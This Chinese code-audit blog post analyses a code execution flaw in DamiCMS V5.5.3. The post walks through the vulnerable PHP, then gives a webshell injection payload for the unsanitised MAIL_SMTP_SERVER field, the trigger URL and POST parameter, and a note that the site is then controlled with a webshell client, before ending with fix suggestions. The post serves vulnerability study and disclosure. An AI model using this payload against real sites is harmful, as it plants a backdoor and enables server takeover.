0x00 环境准备

大米CMS官网:http://www.damicms.com

网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15)

程序源码下载:http://www.damicms.com/downes/dami.rar

测试网站首页:

0x01 代码分析

1、漏洞文件位置:/Admin/Lib/Action/ConfigAction.class.php 第213-225行:

  1. $config_file = "./Public/Config/config.ini.php";
  2. $fp = fopen($config_file,"r");
  3. $configStr = fread($fp,filesize($config_file));
  4. fclose($fp);
  5. $configStr = preg_replace("/'MAIL_TRADE'=>.*.,/","'MAIL_TRADE'=>".htmlspecialchars($_POST['MAIL_TRADE']).",",$configStr);
  6. $configStr = preg_replace("/'MAIL_SMTP_SERVER'=>'.*'/","'MAIL_SMTP_SERVER'=>'".(string)$_POST['MAIL_SMTP_SERVER']."'",$configStr);
  7. $configStr = preg_replace("/'MAIL_FROM'=>'.*'/","'MAIL_FROM'=>'".htmlspecialchars($_POST['MAIL_FROM'])."'",$configStr);
  8. if(C('MAIL_PASSSWORD') != $_POST['MAIL_PASSSWORD']){$configStr = preg_replace("/'MAIL_PASSSWORD'=>'.*'/","'MAIL_PASSSWORD'=>'".dami_encrypt($_POST['MAIL_PASSSWORD'])."'",$configStr);}
  9. $configStr = preg_replace("/'MAIL_TOADMIN'=>'.*'/","'MAIL_TOADMIN'=>'".htmlspecialchars($_POST['MAIL_TOADMIN'])."'",$configStr);

10. $configStr = preg_replace("/'MAIL_PORT'=>.*.,/","'MAIL_PORT'=>".htmlspecialchars($_POST['MAIL_PORT']).",",$configStr);

11. $fp = fopen($config_file,"w") or die("<script>alert('写入配置失败,请检查安装目录/Public/Config/config.ini.php是否可写入!');history.go(-1);</script>");

12. fwrite($fp,$configStr);

13. fclose($fp);

这段函数中,首先读取配置文件,然后通过正则匹配字符串,最后写入配置中。我们可以看到MAIL_TRADE、MAIL_FROM、MAIL_TOADMIN、MAIL_PORT等参数是用通过htmlspecialchars函数处理,MAIL_PASSSWORD是经过加密处理的,然后写入配置文件的。唯独只有一个MAIL_SMTP_SERVER参数是没有任何处理的,直接写入配置文件的。攻击者可以构造脚本代码写入配置文件,从而导致程序在实现上存在代码执行漏洞,攻击者可利用该漏洞获取敏感信息。最后控制网站服务器权限

0x02 漏洞利用

1、登录后台, 网站配置--邮件发送配置—填写Payload—保存设置:

Payload: ',1=>eval($_POST[g]),'xx'=>'

2、直接访问配置文件地址:http://127.0.0.1/Public/Config/config.ini.php 是无法成功触发脚本代码的,因为在 config.ini.php开头有一句代码:

  1. <?php
  2. if (!defined('THINK_PATH')) exit();

3、如何去触发代码执行漏洞呢?

全局搜索包含“Public/Config/config.ini.php”的文件

4、选择一个利用构造链接的url,如/Admin/Lib/Action/ConfigAction.class.php文件,构造的链接形式如下,可成功触发代码执行漏洞:

Payload:http://127.0.0.1/admin.php?s=/Config/index

POST: g=phpinfo();

5、通过菜刀连接,控制网站服务器:

0x03 修复建议

1、写入配置文件前,对特殊字符(如<、>等)进行htmlencode处理;

2、全局配置可考虑写入数据库进行调用。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】大米CMS_V5.5.3 代码执行漏洞分析的更多相关文章

  1. 【代码审计】XYHCMS V3.5代码执行漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  2. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  3. 【代码审计】大米CMS_V5.5.3 任意文件删除及代码执行漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  4. 【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...

  5. 【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析

      0x00 环境准备 OTCMS官网:http://otcms.com 网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31] 程序源码下载:http://d.otcms.c ...

  6. 【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

  7. 【代码审计】QYKCMS_v4.3.2 后台down.php页面代码执行漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  8. 【代码审计】DouPHP_v1.3代码执行漏洞分析

      0x00 环境准备 DouPHP官网:http://www.douco.com/ 程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002. ...

  9. 【代码审计】iZhanCMS_v2.1 代码执行漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

随机推荐

  1. DBProxy

    DBProxy/USER_GUIDE.md at master · Meituan-Dianping/DBProxy   https://github.com/Meituan-Dianping/DBP ...

  2. C#中流的读写器BinaryReader、BinaryWriter,StreamReader、StreamWriter详解【转】

    https://blog.csdn.net/ymnl_gsh/article/details/80723050 C#的FileStream类提供了最原始的字节级上的文件读写功能,但我们习惯于对字符串操 ...

  3. 修改覆盖springboot默认日志策略logback

    目录 背景 自定义 背景 springboot初始化了日志的默认实现,只要我们在配置文件添加对应的配置即可. 比如 logging: file: logs/application-debug.log ...

  4. 图像的视差匹配(Stereo Matching)

    这里要求用我们自己计算得到的视差图和给的视差图作比較来比較我们得到的视差图的好坏程度,我视差图返回的值是计算得到的视差乘以3之后的图,所以在计算时我不是两个值相差大于1,而是大于3.由于两个图像都乘3 ...

  5. python实现模拟登录

    本文主要用python实现了对网站的模拟登录.通过自己构造post数据来用Python实现登录过程.   当你要模拟登录一个网站时,首先要搞清楚网站的登录处理细节(发了什么样的数据,给谁发等...). ...

  6. 【Android】Android传感器

    1.加速度传感器2.磁场传感器3.方向传感器4.陀螺仪传感器5.重力传感器6.线性加速度传感器7.温度传感器8.光线传感器9.距离传感器10.压力传感器11.计步传感器 首先先查看测试的安卓机拥有的传 ...

  7. 二值化函数cvThreshold()参数CV_THRESH_OTSU的疑惑【转】

    查看OpenCV文档cvThreshold(),在二值化函数cvThreshold(const CvArr* src, CvArr* dst, double threshold, double max ...

  8. Mac Apache WebDav 服务器配置

    1.WebDav 服务器 基于 http 协议的 "文件" 服务器. 实现文件的上传/下载/修改/删除. WebDav 权限 授权信息的格式 BASIC (用户名:口令)base6 ...

  9. awk的些许小技巧

    一句话kill掉名为navimain进程的shell脚本(利用awk的列操作能力) `ps|grep navimain | awk 'NR==1 {print $1}'`

  10. Effective Java 第三版——58. for-each循环优于传统for循环

    Tips 书中的源代码地址:https://github.com/jbloch/effective-java-3e-source-code 注意,书中的有些代码里方法是基于Java 9 API中的,所 ...